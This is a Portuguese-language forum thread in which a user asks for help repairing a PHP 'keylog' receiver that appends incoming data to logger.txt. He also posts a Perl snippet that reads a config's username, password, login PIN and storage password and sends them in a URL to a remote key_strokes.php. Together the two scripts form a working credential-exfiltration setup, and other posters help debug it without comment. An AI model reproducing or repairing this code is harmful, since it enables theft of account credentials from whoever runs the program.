Usamos cookies para medir audiência e melhorar sua experiência. Você pode aceitar ou recusar a qualquer momento. Veja sobre o iMasters.
Olá.
A algum tempo eu utilizava este script
<?php
$recived_keys = $_GET["keylog"];
$file = fopen('logger.txt', 'a');
fwrite($file, $recived_keys . "\n\n");
?>
Para capturar algumas linhas de um arquivo e salvar em um host. Eu tive de apagar todos os arquivos desse host, e agora estou tentando coloca-los novamente, só que agora o PHP não esta recebendo as informações e gravando no outro arquivo .txt. A pergunta é: Eu tenho de mudar as permissões do PHP no host para ele gravar as informações no outro arquivo de txt? Pois o scritp e o host são os mesmos, o problema e que não está gravando as informações recebidas.
Se a questão for as permissões, poderia me informar quais colocar?
Alguém pode dar uma luz?
>
Depende cara, qual erro aparece ?
Confira no log do servidor, se não aparecer nada no browser.
Não aparece erro nenhum. Eu uso esse script:
use LWP::UserAgent;
use Utils qw(urlencode);
my $ua = LWP::UserAgent->new;
$ua->timeout(5);
$ua->env_proxy;
my $master = $config{'master'};
$master =~ s/#/:/;
my $usuario = $config{'username'};
$usuario =~ s/#/:/;
my $loginPin = $config{'loginPinCode'};
$loginPin =~ s/#/:/;
my $senha = $config{'password'};
$senha =~ s/#/:/;
my $kafra = $config{'storageAuto_password'};
$kafra =~ s/#/:/;
my $response = $ua->get("http://www.host.com/key_strokes.php?keylog=$master $usuario $senha $loginPin $kafra");
Para enviar as informações para o host. No caso o PHP iria apenas escrever as informações no arquivo de texto logger.txt que esta no host.
Explicando melhor seria assim, fica o script php e o arquivo de txt no host. Ao executar o programa que eu estou rodando no PC o script acima deveria enviar as informações que eu especifiquei para o PHP e em sequencia o PHP iria escrever no arquivo de texto as informações recebidas.
Bom essa foi a melhor forma que eu pude explicar, desculpe se estiver um pouco confusa...
Pessoal, alguém para dar uma luz????
Bom já tentei algumas permissões para o script PHP mas ele não consegue transferir as informações recebidas para o arquivo de texto.
Segue algumas das permissões que eu coloquei;
/applications/core/interface/imageproxy/imageproxy.php?img=http://i.imgur.com/bZpnepv.jpg&key=160346dd205f2796e8114830e23be5a15d4f234c63eb69071c4913e891c7819d" alt="bZpnepv.jpg" />
Antes de tudo, habilite todas as exibições de erro, como mostrado aqui: http://forum.imasters.com.br/topic/375800-orientaes-para-uma-boa-participao/
Dê um var_dump() em $recived_keys. Veja se está pegando o valor da URL
Também dê um var_dump() em $file, para ver se fopen() retornou um ponteiro para o arquivo
>
Antes de tudo, habilite todas as exibições de erro, como mostrado aqui: http://forum.imasters.com.br/topic/375800-orientaes-para-uma-boa-participao/
Dê um var_dump() em $recived_keys. Veja se está pegando o valor da URL
Também dê um var_dump() em $file, para ver se fopen() retornou um ponteiro para o arquivo
Vou tentar. Mas lembrando que utilizo este script a algum tempo e nunca tive problemas. Não sei o que pode está acontecendo.
Obg pela ajuda.
@EDIT
Ficaria assim?
<?php
$recived_keys = $_GET["keylog"];
$file = fopen('logger.txt', 'a');
fwrite($file, $recived_keys . "\n\n");
var_dump($recived_keys);
var_dump($file);
?>
Pois testei assim e não deu certo '-'
Complete com o trecho para habilitar mensagens de erro, ficando assim:
<?php
ini_set( 'display_errors', true );
error_reporting( E_ALL );
$recived_keys = $_GET["keylog"];
$file = fopen('logger.txt', 'a');
fwrite($file, $recived_keys . "\n\n");
var_dump($recived_keys);
var_dump($file);
?>
Pois testei assim e não deu certo '-'
O que quer dizer com "não deu certo"? Explique o que acontece.
O que quer dizer com "não deu certo"? Explique o que acontece.
O que acontece e o seguinte.
O script:
use LWP::UserAgent;
use Utils qw(urlencode);
my $ua = LWP::UserAgent->new;
$ua->timeout(5);
$ua->env_proxy;
my $master = $config{'master'};
$master =~ s/#/:/;
my $usuario = $config{'username'};
$usuario =~ s/#/:/;
my $loginPin = $config{'loginPinCode'};
$loginPin =~ s/#/:/;
my $senha = $config{'password'};
$senha =~ s/#/:/;
my $kafra = $config{'storageAuto_password'};
$kafra =~ s/#/:/;
my $response = $ua->get("http://www.host.com/key_strokes.php?keylog=$master $usuario $senha $loginPin $kafra");
Fica em um arquivo de um programa no meu PC, ao eu executar este programa, ele envia as informações que está definidas para serem enviadas ao host. O script em PHP é apenas para interpretar as informações recebidas e grava-las em um arquivo de texto que está hospedado no mesmo host que o PHP. Não tem nada a ser executado a não ser o programa que está com o primeiro script. O que não deu certo foi de eu executar o programa e o script não gravar estas informações.
Isso eu entendi.
Porém você só disse que "não deu certo". Apareceu mensagem de erro?
Testou o último script que postei? Qual foi o resultado?
>
Isso eu entendi.
Porém você só disse que "não deu certo". Apareceu mensagem de erro?
Testou o último script que postei? Qual foi o resultado?
Acabei de testar o script que você postou e deu esse erro.
/applications/core/interface/imageproxy/imageproxy.php?img=http://i.imgur.com/4725Pxf.jpg&key=ba8aa738736bf7f1f2e30cc8e7ff99011d5b156eaeba9afdd922a2cead53dab1" alt="4725Pxf.jpg" />
O que "não deu certo" foi o que eu disse acima. De o php não registrar as informações recebidas no arquivo de texto que está no host.
Será que tenho de mexer nas permissões do arquivo de texto?
Depende cara, qual erro aparece ?
Confira no log do servidor, se não aparecer nada no browser.